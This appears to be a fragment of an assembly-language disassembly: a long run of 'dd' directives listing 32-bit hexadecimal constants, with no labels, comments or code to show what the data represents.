		dd 0C5357CC5h, 64EE1C85h, 9CA2AF48h, 42685EC1h,	0C28F6C61h
		dd 60E83D13h, 0D7157283h, 6C88BFF1h, 75F14C85h,	0BF36E4D6h
		dd 4D619541h, 89CFB33Eh, 0B82FE057h, 6C60171Bh,	16830E4Dh
		dd 0A731EA17h, 0E648FD29h, 8066530Eh, 3986B84Ah, 9EFB2583h
		dd 47D925AFh, 89278247h, 80045165h, 15675F05h, 38B8016Bh
		dd 0D9DF0782h, 45CC27D2h, 1473EA06h, 30C3F43h, 66310F39h
		dd 5841F201h, 0E4FC6008h, 780C4F1Fh, 62CCA9Ah, 811E5908h
		dd 0BD7E5E23h, 0CFCFD3B2h, 1C57210Ah, 60E1458Dh, 626DBBC2h
		dd 0FE65AD25h, 417E4874h, 510EB968h, 8060DA91h,	497BEDCFh
		dd 0BF5B54E3h, 0BB536180h, 0C9260D8Ah, 0BE175163h, 5DAA1792h
		dd 559FA27Bh, 0AABA1E09h, 5C091F63h, 7C31E01Fh,	0F82C5C09h
		dd 0E587061Ch, 0CB7E2BE2h, 32AA3900h, 9D33E9FFh, 970800F3h
		dd 52642D5Ch, 82E9D068h, 0CD48DFA5h, 4E815FFCh,	0AF15F16Ah
		dd 1669D006h, 1711EA3Fh, 0CC8CBE3Dh, 5EF52501h,	55019BC6h
		dd 56E66852h, 5131131Dh, 79CFCDEh, 3FD6F796h, 45F4CB2Bh
		dd 0DC97E220h, 30E9E117h, 273B628Eh, 0BF065826h, 0CEF66F6h
		dd 0FBD108Dh, 0E8A3BFA8h, 169ECDAFh, 0AC49424Eh, 0E4E34987h
		dd 861BBDDCh, 1F249A3Dh, 0FE70F480h, 9AAD8F2Ch,	0F160E4F5h
		dd 0FCA315F3h, 6BC823F9h, 5A7B29E7h, 5C910E29h,	23D24EC9h
		dd 0FA30E21Eh, 0B3F8103Dh, 0D3685C04h, 16AEA362h, 7BEC6DBDh
		dd 63AB6BC6h, 0B948F50Ch, 0FAEBE831h, 25EB9D7Dh, 8FC0C6C2h
		dd 8E181759h, 3FA65879h, 2F763648h, 882A01Eh, 0BE7D55A9h
		dd 466812FBh, 6985CC36h, 169D1F04h, 4CC2E8C1h, 979472BCh
		dd 90DD048Bh, 0B5198536h, 75A02DC8h, 3F4FA08Bh,	80D4BD67h
		dd 0D7CC6F89h, 43275FE6h, 7873C884h, 50772555h,	2F4FC055h
		dd 1D4B0460h, 0D06759E9h, 4A2BA963h, 57503F09h,	0DF86E258h
		dd 79B29BC0h, 7608F920h, 54CD2512h, 0FF9ACC45h,	93C17503h
		dd 0BD60CEC1h, 12B007E1h, 3F57093Ah, 6AD216DAh,	0F717EDF2h
		dd 33C0CD0h, 0D6B11DC6h, 0B7F3933Bh, 0F9DE82FDh, 46663B7h
		dd 8015D8E3h, 2860C31Ch
		dd 1A0768C4h, 4B96CF98h, 0B75DBC9Bh, 79344D2h, 8CA5625Dh
		dd 0DF8256D6h, 74279846h, 5CE9782Eh, 5E1DE492h,	0DFAFFA31h
		dd 2ADB602Bh, 92190BEh,	28A13D50h, 586521Eh, 7D828C5h
		dd 21E5BFB9h, 602DBB30h, 76C22FA0h, 283E2A74h, 85EE1351h
		dd 66AA3CFAh, 87225F9Dh, 14595DCBh, 40412F3Ch, 14726864h
		dd 0BB1A4706h, 844DD519h, 89159378h, 0F901A404h, 97ABE2AEh
		dd 17A82AEAh, 0BE7413CFh, 74346A80h, 0E9071E29h, 2CD6E78Dh
		dd 5C08ECCCh, 51C6E1F3h, 0DE9AB054h, 58E52802h,	0F7FAF580h
		dd 4A12F152h, 2A01EAC1h, 380F0ECAh, 0EECA012Fh,	317AD979h
		dd 526A6CFFh, 708D3C9h,	44ED8030h, 29490D77h, 285DD51h
		dd 0E07C5B08h, 9D052A26h, 95095021h, 2B6981E3h,	0BF70430Bh
		dd 9C1FB86h, 8C05AF2Ah,	63E604EEh, 0BE99F913h, 5A86CA88h
		dd 4B2D3195h, 7DB93FFBh, 0CDB03B85h, 63CEE003h,	7D5B10C9h
		dd 13307996h, 0FEC1CF1Ah, 6527277Dh, 2D70AF6Ch,	116B817h
		dd 7340DC20h, 2179172Eh, 6D7638CFh, 457E4Ah, 2DFC61B7h
		dd 2A565CB1h, 88CC2CE7h, 6802530Bh, 1CA2306h, 2DE0415Bh
		dd 3A519772h, 0B120B86Ah, 9057993h, 15DA2D8Dh, 0DD1A5595h
		dd 6D493080h, 0F72F6F12h, 4B99FCDDh, 0FE278174h, 7A6F5870h
		dd 612A8692h, 97B00D67h, 17286A0Bh, 298D7819h, 0C2BAC221h
		dd 2D052532h, 0A44E97EEh, 4BFDE8A6h, 0E909209Ah, 325572E2h
		dd 0E9C7F5BFh, 8FBEDFB4h, 60E34AB1h, 70F95C2Dh,	5192FF69h
		dd 4B0EF15Fh, 1A2F0FC6h, 45D846F2h, 3FED0ADDh, 4F9E2256h
		dd 2887055Bh, 0BA61BF1Fh, 516812FFh, 0ADD7EAC4h, 26221754h
		dd 121015E2h, 0F2FB4032h, 449EB0Bh, 6E237770h, 1E168AD6h
		dd 2DBADA20h, 43E42EDDh, 18A2F2C8h, 603E8C0h, 6F722C08h
		dd 0C0B02A4Fh, 0BD5C7020h, 0F253275Eh, 0EBD8B4h, 26923B8h
		dd 0C6A4BB62h, 0BEEE2A60h, 99C743Ah, 4E8CE960h,	80051657h
		dd 3925D0CAh, 4E806AF7h, 5675D59h, 392738C5h, 40A60036h
		dd 0A837E948h, 12F3BEC8h, 0EE3AA932h, 4887545Dh, 0F66369A6h
		dd 4106B10Dh, 0C1B1822Bh, 0F58295FEh, 6044FE62h, 4A5DEA36h
		dd 6CEAA58h, 2678662Dh,	992D2AB0h, 0A32F5DFh, 6E89BE61h
		dd 0A384F6FCh, 0D48313FEh, 5B54E102h, 6038653Eh, 493653F0h
		dd 26854650h, 408D750Fh, 0D1C9A01h, 14011C08h, 9A20575Dh
		dd 0F276B7BEh, 0EF4605Ah, 9656B567h, 5632F942h,	5A61E2FFh
		dd 1DB89204h, 89ED7629h, 0E675CD68h, 7C65B50Ch,	1FE90731h
		dd 4282E62Ah, 0B4A51097h, 0AEE58817h, 973D8F1Fh, 0B949330Bh
		dd 4AA1C39Ah, 0C221B694h, 72EE9FE9h, 0BAF24AE3h, 57B4E416h
		dd 2992409Ah, 9A8EE4Bh,	4A918B1h, 0F4A117EBh, 0FE03ECEh
		dd 4A05EB00h, 2D6EFC70h, 0E1440755h, 0CAF8016Dh, 11513E07h
		dd 4A5843Ch, 0A098E9B0h, 0A009BD46h, 0D8206658h, 50B8B08Ah
		dd 0FD921476h, 4441EA2Bh, 272C7018h, 111AD66Dh,	0D0F72A64h
		dd 0DBCE39AFh, 0EC7AF692h, 0C2E7519Dh, 2AABF541h, 0D8EC97C5h
		dd 0B012B8E4h, 6446F68h, 7BE90C17h, 769CAD4Fh, 0AD8713BDh
		dd 0A5F1B640h, 0B0366E1Eh, 5F2840ECh, 235D49Dh,	1E706AEFh
		dd 8B6947F4h, 0C8C7CB19h, 5A51E9EEh, 84FCD195h,	0D61539B0h
		dd 0DA08F3C0h, 0D9F7362Fh, 0AA097A04h, 563E1236h, 0CDD827E6h
		dd 0F9F68F5Fh, 0F5089Ah, 63F37B75h, 0B566ECE9h,	5781A676h
		dd 2767ADBFh, 0A3DBB047h, 0BAF58961h, 2FEEDC33h, 2A45E0C0h
		dd 16E9173h, 45F0697Ah,	1213A0C6h, 0E5FD43E9h, 28B742F1h
		dd 2F66EAC9h, 20ACB604h, 2A1996A3h, 6F29306Dh, 317A92ACh
		dd 58149F35h, 22C02057h, 0FFF66297h, 8E0BF07Bh,	0EFC57D58h
		dd 12915C14h, 0C0D162CEh, 6ADD1EA4h, 0E199E8ECh, 7A727EC2h
		dd 9EB2B71h, 45B5766h, 4AF7E9C2h, 69C0D7F8h, 58505B50h
		dd 8640B783h, 0FF3C5A29h, 6E68E630h, 3A1B955Dh,	26A2380h
		dd 9ECB8119h, 0C9F7ED8h, 117F0209h, 35703CE9h, 368805Ch
		dd 0F679B450h, 0B8DEE9D4h, 1AEDF581h, 0EC67DB2Dh, 5B95469Bh
		dd 0BC358140h, 7A2F7354h, 0E718C9FCh, 0DFEF3D57h, 40786D16h
		dd 53B8C504h, 0F24BAE17h, 51C521F0h, 0E82F03B5h, 80598783h
		dd 0C0ABAA44h, 0CA28B74Dh, 614A5EBDh, 2BD38853h, 0D05AA180h
		dd 8FF0A1EDh, 8C482738h, 412C856Ah, 2BAF4E28h, 9D73BDF2h
		dd 8973C122h, 8740A9A9h, 0F5825BD1h, 7B79AB12h,	76860E62h
		dd 137E508Dh, 0A633E79Fh, 771100CFh, 59E923D4h,	0EA92F754h
		dd 0CD2BE409h, 0CCB4000Ch, 4B69414Ah, 0E472EF09h, 0B6A38503h
		dd 0E3B701D1h, 9D28FE30h, 0B325C3D8h, 58475612h, 6797CF53h
		dd 0B5311676h, 6D58887Eh, 0ABA01B0h, 82250902h,	717803B2h
		dd 5FFB7854h, 3F46B906h, 0F9A012E2h, 0C68774F1h, 7B3E6F65h
		dd 108BCDCh, 56790BC7h,	444B93E8h, 20426C3Fh, 0E90880FEh
		dd 0B3165B07h, 5FF8966Dh, 1F56BC84h, 0CEFED8D2h, 4C064275h
		dd 9A70160Dh, 36C130B8h, 0F531CE48h, 62FC382Dh,	7ACF5EA4h
		dd 27167DE1h, 69A85C49h, 61C3008h, 0C6902355h, 0DC6A9691h
		dd 1761084Eh, 446DBE5Ah, 5E07F736h, 2BC66852h, 3620CB1Ch
		dd 32C68065h, 0DA732FE7h, 5C2F54DCh, 1F5F58F3h,	0E97C0509h
		dd 13595E62h, 0E2F3AE68h, 5D53EFD3h, 0C918CAFAh, 0D89A5634h
		dd 285706E9h, 84BF5415h, 69632300h, 0E77BC6BEh,	9769032h
		dd 0E9EAD32Ah, 1FB4ABD8h, 6A845345h, 338F09AAh,	2D25C498h
		dd 0B492EB94h, 0EB5E4AECh, 975E8668h, 94161E48h, 0EB7F17A2h
		dd 55CBB7B6h, 16BCC22Eh, 29ED3D0Bh, 0F7509C3Dh,	5528680Bh
		dd 7F8B65F1h, 5BDB464Eh, 99FB14E4h, 0BC85A77h, 324821D5h
		dd 2EA6530Bh, 7E84CF5Bh, 0F272ACABh, 4F92F0ADh,	8A5EAF09h
		dd 765344D3h, 0C289B9A9h, 26BB1D23h, 527D08E0h,	72ECBA04h
		dd 3BE86236h, 48F9DC50h, 32587355h, 1BE04A03h, 0EAE4318Eh
		dd 189222C0h, 0DD76400Ah, 57EE4F13h, 0EBE5B7B1h, 5B455CD8h
		dd 3D04C113h, 0E82D032Ah, 0F40B8358h, 0BD764AE5h, 0A274C4B2h
		dd 4C9FE7BEh, 0AC779B4h, 8ED34435h, 94FE0523h, 0EA7AAC0Eh
		dd 2C08FE50h, 0FEC84358h, 8253F302h, 96DFE173h,	0AD4A8566h
		dd 0DD277D06h, 686E90FDh, 0DA4C0FD6h, 72C45915h, 50F7A274h
		dd 2DCF8C4Ch, 292EE6E0h, 0E3681854h, 0C637B371h, 9713A097h
		dd 973DC87Ch, 0C207A65Ah, 2A4468ABh, 0E1AF2F6Fh, 0D2F76708h
		dd 163A8B31h, 4F2EFE50h, 42DF5E69h, 39AAFFEAh, 7C551859h
		dd 5FEE972Ch, 25BA559h,	0C3835DEBh, 95C24C02h, 3B1044E1h
		dd 0EBC1EF44h, 4B3D63B0h, 94AE2B6h, 1B108268h, 40DED27Fh
		dd 0E19735BEh, 0C10D74C2h, 26702668h, 4EAB1E83h, 8CFE0692h
		dd 3DEAB8E0h, 780AAA2Dh, 7FEC80E7h, 69B72852h, 397401EAh
		dd 7AE9434Bh, 32B35193h, 7B1B116Ah, 0A9C72E68h,	0BBF50B66h
		dd 0DDC7A27Bh, 0DC63C79Ah, 16270848h, 8AEB8026h, 460127C9h
		dd 5F1490DBh, 0BF287464h, 0E91668A9h, 0A45BB186h, 0A7507274h
		dd 0ABEF5C69h, 4B5CD810h, 0B6328CAAh, 66175B64h, 0D40437FFh
		dd 4E2FB8F6h, 441A5BF6h, 0D9FD1653h, 0B1983D87h, 814D16CBh
		dd 4803F504h, 9EC1BC8Eh, 0AC7B295Dh, 0A3BBB53Ch, 41C3C885h
		dd 3B44F968h, 7102CD32h, 0BDDA2F9Fh, 3613F196h,	0F87613FEh
		dd 10B3D0EDh, 0FC5ED1DFh, 41C78B2Bh, 0EFF45C30h, 6BF70481h
		dd 82218AF4h, 0CFCAE32Ah, 90DB4FFDh, 9705103Ch,	6809C14Eh
		dd 32BF2F4Bh, 0FC8EDF5h
		dd 0F6BF1C33h, 529DE2B3h, 0E22C98F7h, 6C3180EEh, 87695397h
		dd 2050575Ah, 0E9603868h, 2CC730C9h, 3A1A6474h,	18823E48h
		dd 194F945h, 0DBEB6A48h, 0D77253F4h, 4046BB06h,	9183404h
		dd 4CDC2A48h, 32B7102h,	0FE65E7DCh, 0AAE50781h,	0F7019A29h
		dd 2103460Ah, 0B833F4F8h, 5BA85999h, 410D1C00h,	2B6DB917h
		dd 1B30E7EEh, 7E07023Fh, 938BE90Ah, 758C9274h, 4F1599Fh
		dd 7946D2Dh, 6AC1BF31h,	0BA2EEDF4h, 98FDD939h, 968DD34h
		dd 431F544Dh, 0F4F7A97Fh, 0BAA543C7h, 208910A1h, 0E825E940h
		dd 2A9AFA91h, 25C5755h,	0EF2B62B9h, 68FD053Ch, 0B0C801E9h
		dd 16ED9C84h, 629BBE5Dh, 9072FA5Ah, 4CF72BB3h, 7F519FF3h
		dd 8C65FD52h, 0C1BF5783h, 414EF225h, 0DA5C555h,	78D2748Ch
		dd 0EF556C60h, 0F33975EAh, 0DF9A2A80h, 0FA317365h, 844AE916h
		dd 0C9582333h, 0F7340E07h, 805F0EB1h, 0F16120C9h, 30CB888Dh
		dd 0A2B5BE18h, 0DF79B4F1h, 0DB7F411Ah, 3BE9614Ch, 79DDC233h
		dd 0AF60445Eh, 0B4AD6314h, 0E916C3F3h, 5ACAE856h, 85EB5665h
		dd 0E102BA5Bh, 0D6975AE9h, 0D9504485h, 0D08D017Dh, 41326F05h
		dd 7BCDABCEh, 8E68E165h, 0D1FFC278h, 0F1FC421Fh, 893FA60Ah
		dd 5F3F1D6Bh, 68E83522h, 0DA0597C4h, 297E390Dh,	387BA6FFh
		dd 827507C6h, 0AEF013Eh, 1C3008EEh, 6BB663BAh, 95E53477h
		dd 5219FEA5h, 0CC752089h, 31C2B703h, 0D7D457B4h, 1C25002Dh
		dd 0DBB93612h, 0C9EF25E3h, 630B3476h, 64695C50h, 4E9CFCBBh
		dd 0E92968AEh, 36906F34h, 537E02BFh, 0F87FA0B3h, 289F021Ah
		dd 0C2865BDAh, 2ADFE341h, 0F2FE5425h, 0FE04A5E9h, 29AD7CDAh
		dd 0F39EE53Ch, 0A9AFCB43h, 0F551BA5Eh, 0EF5B412Ah, 2FD64C08h
		dd 0D7C805E1h, 26D8F747h, 8CEE04C1h, 0BF5FF929h, 40559482h
		dd 0A8B21A77h, 17A2BE7Fh, 0FF74E078h, 0A4683604h, 13E5A3EFh
		dd 75F83FE8h, 0E64551CFh, 6975BB87h, 0B1C64BABh, 954664FDh
		dd 0F02ED361h, 25780D36h, 0F719342Dh, 2D087120h, 0EE27E527h
		dd 5DC6EA88h, 8808070h,	0CD7C7CF9h, 9A9F2978h, 40C0BE2h
		dd 570E6FC5h, 0CAF049C9h, 694BB807h, 8AA43B4Ch,	800531A8h
		dd 0BF28BDC3h, 0A55FDFC7h, 64B46FB7h, 276B55Ah,	8143074Bh
		dd 0E958913Bh, 4B6604B0h, 68B0EB87h, 0E97F6941h, 5EF3021Bh
		dd 0F7ED5D1Eh, 605CB63h, 71A2E952h, 0E7E38DAFh,	6857B095h
		dd 0C7256124h, 0D0F3DC0h, 9B44BF6Dh, 5DF0FBFh, 0F3E49328h
		dd 870F1696h, 61C20D19h, 10E26B86h, 2BD968C2h, 0A1726C5Fh
		dd 0E76CA4A5h, 0F5A9085Bh, 0F927763Fh, 49E35C81h, 0BA5EC32Bh
		dd 0E2C68C1h, 82DE1F6Ch, 517F3E7Eh, 1B1CC75h, 641B5996h
		dd 0C2827DE9h, 0C92679D7h, 0E49C5D6Eh, 5AFEE958h, 5C4EF2B8h
		dd 31E9ACE2h, 0EA1D211Bh, 1303BBFFh, 9B099CF2h,	0E6FD520Ch
		dd 754B1204h, 3C900934h, 9A978BF8h, 4DD80DE8h, 0E3FF7654h
		dd 4E949F4Eh, 0FE1B7E33h, 0A07E5687h, 9715962Eh, 0F1897F8h
		dd 1E1816CEh, 5E60C58h,	3634DAF7h, 72211A10h, 0A6CF304h
		dd 78E600C1h, 0F4E9300Fh, 0BD88C659h, 715C7680h, 6343050Ah
		dd 1BE94424h, 0FCC7C207h, 0F5FC19D2h, 0D9BE5600h, 9250BF64h
		dd 983B0300h, 688E978h,	38995105h, 0C66256A1h, 0BEA5A2FFh
		dd 0FA7F922Eh, 693B20E3h, 40EFE927h, 73E28898h,	14C59758h
		dd 5EC4F5A5h, 7FA386C1h, 9C20404Eh, 0EF1C1DD6h,	92E38159h
		dd 603D6B0Ch, 0FF12F40Dh, 0DFEE6DEh, 61103F1Bh,	0B8E3285Ch
		dd 4D5B25E9h, 13A7C6F7h, 0C052EA29h, 9F5EFAA5h,	0BEC44D5Bh
		dd 0D1040713h, 5FF4A654h, 0B85B1316h, 5F660722h, 0B170D496h
		dd 0E9EB6052h, 0C20BC74Eh, 0CF8EE080h, 49DA997Ah, 0C45E8791h
		dd 0E91639D6h, 3FB89094h, 0BEB8C685h, 66A90B22h, 594AA1D1h
		dd 86B6FCCEh, 0A3A96F3h, 5E87EB12h, 65DA460Bh, 5DB18898h
		dd 5CCC7027h, 6812618Dh, 5B07FC41h, 3B6629EFh, 0D0BA7C65h
		dd 0BB494D6Ah, 20520A58h, 0BEB502C4h, 0E8284C04h, 6AFE08C0h
		dd 4646E7D6h, 74590C7h,	4523D9BDh, 3B22A0Fh, 37476B73h
		dd 0D49DC5B1h, 0E97D2802h, 5C9DA470h, 41EC537Eh, 604979ADh
		dd 53EA4C3Fh, 4B12C59Ah, 0E2011BE3h, 3BF559F1h,	0D92A420h
		dd 4A27DB75h, 4108F81Ah, 6BC226C0h, 16484971h, 0AB5AD389h
		dd 9FE9011Fh, 0E9585D60h, 97407037h, 696F815Ch,	5EE9C0D2h
		dd 46F55B01h, 49545329h, 3FDE919h, 646AE0D1h, 0E3F60A71h
		dd 0B477AFCCh, 0C6A626CEh, 499A6A78h, 963F7082h, 58C14D7h
		dd 9924F7CEh, 0FC17E455h, 0A0469805h, 8182F389h, 26860971h
		dd 0CE0B9407h, 817AEB1Dh, 704F8895h, 0BEFB920h,	0BE36317h
		dd 0F10D4D74h, 4441EDBDh, 5B649D34h, 2C67F1E2h,	13308F50h
		dd 0B9237B40h, 0D50D1088h, 1A80E54Ch, 29227754h, 0C407446h
		dd 0A716BF5Eh, 6D74C101h, 8B5175B1h, 42B67F2h, 0FF6D5268h
		dd 5148C9DAh, 1D24BF4Bh, 3A28F5C0h, 43FEFBEh, 2C6B53h
		dd 0D2F75A58h, 9050792h, 0F4203579h, 1363AC5Dh,	5E01EDD1h
		dd 5F676C17h, 0E9D5803Bh, 77976B58h, 0E4B6F998h, 5B812C0h
		dd 0F46E464Bh, 25FA916Ah, 7DB2AF5Dh, 0B6860E2Fh, 550A441Ah
		dd 0BB839F51h, 0D5ED33B3h, 201F0BEh, 20179D2h, 259899FEh
		dd 29F3E12Ah, 446C8634h, 0FE1CD2F5h, 0AED2EAE2h, 922079B5h
		dd 8EB82CE9h, 5DDB8309h, 0EBD33F79h, 0C00314A6h, 0B35305E4h
		dd 82E3B243h, 57006F2h,	2568FD5Eh, 1C15890Ch, 504A2F4Ah
		dd 894715A2h, 4BA46475h, 0BF78022Ch, 3774649h, 589268E7h
		dd 0D612BB15h, 164B194Ah, 0C452284Fh, 0DDBE563Dh, 56A12EF0h
		dd 48D648FAh, 3A9E0F2Dh, 0E2B73070h, 9F93102Ah,	0ED0FA848h
		dd 0C2467AB6h, 0FCBD34ACh, 0EE724F98h, 0B26EC0B1h, 8294E529h
		dd 27AF1FBh, 8300988Ah,	0B8101C1h, 5D94AEF1h, 59CFF283h
		dd 18F24602h, 41297C37h, 0DE547BBDh, 0E9C2ADB7h, 4E5DF89Ah
		dd 4EBFF66Eh, 0D34DFCCBh, 2FC09DAAh, 139267ECh,	62D49155h
		dd 0F13AAD73h, 0F8B94051h, 6B48DB01h, 487A13CBh, 2F04AE16h
		dd 0C3FA6CF0h, 0F6F0E657h, 13059396h, 0A592E936h, 683BF4EAh
		dd 0FC052D27h, 6801595Eh, 31E41032h, 0A168BCD7h, 0A8122C5h
		dd 2571B92Dh, 4E4D300Dh, 0BA1B2354h, 29316406h,	3E421Dh
		dd 0E58E44C5h, 3AE9D321h, 0F19D7ABAh, 0FF4344D6h, 0F55A090Bh
		dd 0FFA5D4C5h, 0D04A46E6h, 46B6D018h, 896DBF6Dh, 2039E905h
		dd 580240BBh, 2B16CB81h, 0E2901C72h, 250BEA7Ah,	2914E94Eh
		dd 2ECB0039h, 9D086A20h, 0E9CD90F5h, 28AF4E48h,	0F9E709h
		dd 9468F68h, 315B5588h,	1FCAB47Eh, 0DE35E902h, 4CCEDECFh
		dd 215F6F6Ch, 8410CADh,	3305E776h, 0C5385B74h, 0BDB8127Ch
		dd 80580586h, 83FA12F2h, 209F3052h, 0A827E9FAh,	0CF1690DFh
		dd 2D7A89ECh, 6FA01C1Eh, 0AD28D370h, 251755B0h,	8A041224h
		dd 89FB4EF2h, 8EE27B66h, 0E68A0512h, 7AA05AB3h,	0C6DA6429h
		dd 6196BDC2h, 0E480E9B7h, 0BFDC8197h, 3ABC43D5h, 17BA277Fh
		dd 29C48AF6h, 896AB8EFh, 44D5234h, 10204F6h, 0D2508764h
		dd 34465E6Dh, 9576849Dh, 0DA0E590Ch, 0DB27574Fh, 5F9141F2h
		dd 518FE398h, 2E011C0h,	66C60Dh, 71357264h, 0E9C83099h
		dd 0FDF8255Eh, 0B43EFD5Fh, 62032CBBh, 588C03B7h, 4C09D268h
		dd 64120A89h, 45913DAEh, 2FD0E193h, 7EE829EFh, 3EAFB94h
		dd 18685563h, 5D0CBBB8h, 819C8EBCh, 327A4085h, 0AF0F50ACh
		dd 0F3503Eh, 0E6435943h
		dd 0EF0A0153h, 0DF57B668h, 0F6033CC0h, 0EB62B058h, 3816864h
		dd 250B4BF3h, 0C2E5D145h, 69488559h, 7EE17788h,	0DCF11FACh
		dd 8B8E7855h, 5DFFC820h, 5C18C947h, 92F97C05h, 9B98B96Ch
		dd 0DC9759C8h, 2FA2621Bh, 75E3FDA0h, 697B7337h,	0C82D6527h
		dd 15B20E4h, 9B05535Fh,	3D2E1C78h, 13411C64h, 0DE081E53h
		dd 98582727h, 0C7D6BFh,	82BB3C71h, 1A97D989h, 74EBC0A7h
		dd 925F8228h, 9280638Eh, 0CC5B076Ah, 80F1DC10h,	2551C99Fh
		dd 2D68369Dh, 5C465C44h, 5E87F359h, 48B02ABBh, 584D0401h
		dd 0A8AABD99h, 0B285821Ah, 0E36803BEh, 12FBE3EDh, 29EF2799h
		dd 802D959h, 469F34E9h,	0CE0EE3Eh, 25E12F68h, 22DDD66h
		dd 20014657h, 294BD1B5h, 82ED55C5h, 3755F24h, 686951F4h
		dd 279D6FAh, 151283E4h,	0BA4FA04Fh, 0DA7E506Dh,	3A563572h
		dd 483E86EAh, 0E3615EBDh, 0AD4E8B29h, 5D2DC3E2h, 2054E97Eh
		dd 0FF174C42h, 0B114077h, 82E05E93h, 0FDAB2F2Dh, 75250BF5h
		dd 52A41314h, 465DA20h,	0E1B252ACh, 4A0E8351h, 70BE00A4h
		dd 0F4111273h, 0BE8D59E5h, 63BAB800h, 52483C09h, 1E0068F0h
		dd 583F2732h, 9D77A3E9h, 1D13BE8h, 6010842Dh, 0A0470B93h
		dd 25DC2651h, 8A56EB97h, 78EAF42Fh, 0D0B24D0Dh,	76111401h
		dd 5F0297Bh, 68850744h,	0C902CBFBh, 1227D658h, 27662E57h
		dd 28415293h, 952A47E3h, 5F49CCFCh, 0F409D8C2h,	0AD87675Dh
		dd 5C092D94h, 0C4526268h, 0C27CBF9Ch, 24091450h, 490858BCh
		dd 5D2FB689h, 3C10DD35h, 158045Fh, 86C053CAh, 9859E17Ah
		dd 0B69812EDh, 0A9E59761h, 6682530h, 0E91AE89Bh, 0CEBCE204h
		dd 58842E05h, 4A045310h, 0E52F94A2h, 0B64B7DE0h, 0F3CB0159h
		dd 3046616Ah, 3BC09173h, 58727BC3h, 1A89715h, 0E24F3D08h
		dd 9960B5F7h, 0C0D938E9h, 6328EF59h, 17672DEh, 806E2A2h
		dd 0FE090E5Dh, 0D70F996Dh, 0D897587Ah, 88714013h, 0D058E71Ch
		dd 8EFC0C0h, 16536866h,	85AEE94Fh, 4CE7EF0Ch, 9D984C49h
		dd 0DCB5C330h, 0ADC84BE8h, 8D51BEE9h, 0A9957E54h, 4A2560ACh
		dd 0B347238Fh, 4CF50B43h, 88FACB89h, 8D873302h,	5B02EE08h
		dd 0D52FDA41h, 4D688990h, 9F341F5Bh, 0DD114BF2h, 2E450555h
		dd 6DC23D94h, 28078AEBh, 0E458E30Bh, 408CB01Bh,	0C74E306Eh
		dd 5D55CAABh, 0B0DC856Fh, 613C4ECDh, 0B2FC2127h, 0C7939F80h
		dd 9FA0E9BDh, 0D19CEB8Bh, 4182D1BDh, 7E540FE9h,	0D3AABD4Fh
		dd 0E54827BBh, 0AFE49490h, 921009A8h, 35A04A43h, 806226B5h
		dd 193B03F8h, 0C0E770Dh, 0EFB62B34h, 6089201h, 94680693h
		dd 4230CD4Ah, 48F11509h, 58552628h, 87C0073h, 0F52566AEh
		dd 0AF0781Fh, 6B7DE9C4h, 0AFB046BCh, 785B9056h,	406931Bh
		dd 955C7B16h, 0D1DFC73Ah, 344659E9h, 7D05EFADh,	0F7312F1Fh
		dd 5F0982EEh, 29C219DDh, 487CCE7Bh, 0B0702065h,	0B7B6F4D3h
		dd 0D752135Eh, 0F46B1ED9h, 82E9041Bh, 5D77D828h, 0F72568F6h
		dd 5A855E7Fh, 0E951D3B0h, 9813442Fh, 0F428BB41h, 2014CA7h
		dd 22C761Dh, 9C34E947h,	690C1A82h, 4B624AF6h, 4FC555DAh
		dd 0AB95DAFh, 47EA6487h, 4845E34Ah, 53D8345Ch, 2D21B48Ah
		dd 14033C7Dh, 1D448DE9h, 0E8743B85h, 29AAB43Dh,	0C2F1627Eh
		dd 0DB14895Ch, 45E90532h, 7CF3EBDBh, 79B710h, 584A3AB8h
		dd 12E6BB5Dh, 0F1B4DBE7h, 1630383Eh, 93B89F1Bh,	7B233FC6h
		dd 906924D2h, 2570F86Bh, 0BC1670BFh, 32696F83h,	0AFB7A150h
		dd 1DFE24DDh, 0B01778F3h, 0F9FAD445h, 62BA9711h, 7DF85442h
		dd 111EBB02h, 554B6627h, 0E8F5D2C2h, 7C435BB7h,	0A60CC0A9h
		dd 29C14FF6h, 1E9BD87Ch, 6446988Bh, 0E16EE185h,	9F6073Ch
		dd 820666D7h, 71207F63h, 6E0931BAh, 81424F00h, 9E75E6E2h
		dd 256A9056h, 0D466D46h, 6040CEF2h, 4CC15C88h, 834C7E20h
		dd 29987916h, 68F1E0BDh, 0CC1A4F9Fh, 21129CC4h,	250279D8h
		dd 60C1FD14h, 9590731Eh, 5F9AB275h, 0BA0B5D46h,	50791FBDh
		dd 0D7B37FF4h, 0E2C88054h, 5F344952h, 0D8FE1064h, 4A133E57h
		dd 90FE0A27h, 3714828Dh, 0FDE96A16h, 0ECE3BF4h,	74901E7Ah
		dd 3F13E6C0h, 0CC115F8h, 64405B30h, 89EE9D43h, 1C6A540Ch
		dd 0E9E8C532h, 92A1E02Dh, 96FC7CDCh, 72209CCAh,	231077h
		dd 0EECF8160h, 6833C920h, 66408025h, 62F0125h, 0CDE95BD5h
		dd 0B63C8CBBh, 839F0E51h, 4E2FFCD0h, 20643A48h,	835F506Dh
		dd 50319E99h, 5981C795h, 7D39BB3Ah, 0AA2BE7CDh,	5C16822Ah
		dd 0EA900255h, 0DB40783Fh, 0AC20E9DDh, 0F330048Ah, 0AE022C5Ah
		dd 28ADFB80h, 0A1EBEDF0h, 0E9E104D8h, 8E3A40E1h, 0AECB4AC5h
		dd 0DA44552Fh, 0A335A2BAh, 760A9947h, 5F03AB52h, 0B430E721h
		dd 0EF3385BBh, 502E7E6h, 9B3B9D5Eh, 0C0D411E1h,	134518Eh
		dd 80BF6C7h, 0C9E7D58h,	6898E0B5h, 0E70C4943h, 81BE6C8Ah
		dd 0B0D40EBEh, 68C46EAEh, 814305EBh, 6F98897Fh,	6E619BF5h
		dd 8F682A31h, 13112A5Ah, 0DD395702h, 978451F4h,	792C0353h
		dd 1266BE88h, 8AF6A45Ah, 0F9B74470h, 73BCE88Fh,	28AE3B4Eh
		dd 6D5A14F9h, 4C68D493h, 4B7DC917h, 5BBA0A74h, 0EC9842D5h
		dd 0E6152E57h, 4E2C0F55h, 0BF49AB2Dh, 346B03F8h, 0D6292861h
		dd 6A640BE7h, 64E07BE6h, 0FE95D420h, 484B6F07h,	0C58054D6h
		dd 27B10FD7h, 3EDD62F7h, 0E2D52BC2h, 0ADB502C0h, 86C6203Fh
		dd 494A026Eh, 5726998Ah, 0B6FB0C6Ah, 0DE0CF22Dh, 0C0E9A1Ch
		dd 0A63A2ECDh, 90D119B9h, 0B25E03DDh, 5D656A2Fh, 1C9E13C6h
		dd 6E9FE92h, 5A3EF610h,	7B68E128h, 62A69C40h, 5664120h
		dd 207F78B5h, 81035F9Fh, 4A0FA8C1h, 0EC8E4B06h,	0D3228478h
